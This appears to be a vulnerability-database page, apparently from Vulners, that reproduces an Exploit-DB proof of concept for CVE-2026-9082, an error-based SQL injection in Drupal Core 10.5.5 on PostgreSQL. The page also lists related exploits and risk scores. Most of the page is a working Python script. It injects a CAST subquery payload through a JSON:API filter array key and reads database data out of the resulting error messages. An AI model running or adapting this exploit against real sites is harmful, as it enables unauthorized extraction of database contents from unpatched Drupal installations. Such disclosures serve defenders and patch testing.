Lucene search
K

Drupal Core 10.5.5 - Error-Based SQL Injection

🗓️ 01 Jun 2026 00:00:00Reported by cardosourceType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

Demonstrates error-based SQL injection in Drupal Core 10.5.5 (PostgreSQL) via JSON:API filters.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-9082
22 May 202619:49
githubexploit
GithubExploit
patch-to-exploit
26 May 202616:02
githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202614:46
githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202604:03
githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202610:42
githubexploit
GithubExploit
Exploit for SQL Injection in Drupal
7 Jun 202612:20
githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202604:30
githubexploit
GithubExploit
Exploit for SQL Injection in Drupal
27 May 202610:26
githubexploit
GithubExploit
Exploit for SQL Injection in Drupal
27 May 202609:11
githubexploit
Akamai Blog
CVE-2026-9082: Mitigating a Critical SQL Injection Vulnerability in Drupal
21 May 202610:20
akamaiblog
Rows per page
# Exploit Title: Drupal Core 10.5.5 - Error-Based SQL Injection 
# Google Dork: N/A
# Date: 2026-05-31
# Exploit Author: cardosource
# Vendor Homepage: https://www.drupal.org
# Software Link: https://www.drupal.org/project/drupal
# Version: Drupal Core 10.5.5
# Tested on: Debian Linux (Docker), PHP 8.2, Apache, PostgreSQL 17
# CVE: CVE-2026-9082
#
# Description:
# This proof-of-concept demonstrates an Error-Based SQL Injection in
# Drupal Core 10.5.5 (PostgreSQL). User-controlled JSON:API filter
# array keys influence SQL query construction, allowing database
# information disclosure through SQL error messages.



import requests
import json
from urllib.parse import urlencode

TARGET_URL = "http://localhost:8080/jsonapi/node/article"

BANNER = """
[+] Drupal Core 10.5.5 - Error-Based SQL Injection
[+] CVE-2026-9082
[+] Target: JSON:API (PostgreSQL)
"""


def extract_data(subquery):
    headers = {
        "Accept": "application/vnd.api+json",
        "Content-Type": "application/vnd.api+json"
    }
    
    payload = f"0||CAST(({subquery}) AS INTEGER)"
   
    params = {
        "filter[my_filter][condition][path]": "title",
        "filter[my_filter][condition][operator]": "IN",
        "filter[my_filter][condition][value][0]": "Example",
        f"filter[my_filter][condition][value][{payload}]": "Injection"
    }
    
    try:
        response = requests.get(TARGET_URL, headers=headers, params=params, timeout=10)
       
        if response.status_code == 500:
            try:
                error = response.json().get("errors", [{}])[0].get("detail", "")
                if "invalid input syntax" in error:
                    data = error.split('"')[1] if '"' in error else error
                    print(f"\033[92m[SUCCESS]\033[0m {data}")
            except json.JSONDecodeError:
                pass
    except requests.exceptions.RequestException:
        pass


if __name__ == "__main__":
    print(BANNER) 
    extract_data("SELECT version()")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jun 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.19.8
EPSS0.33665
SSVC
48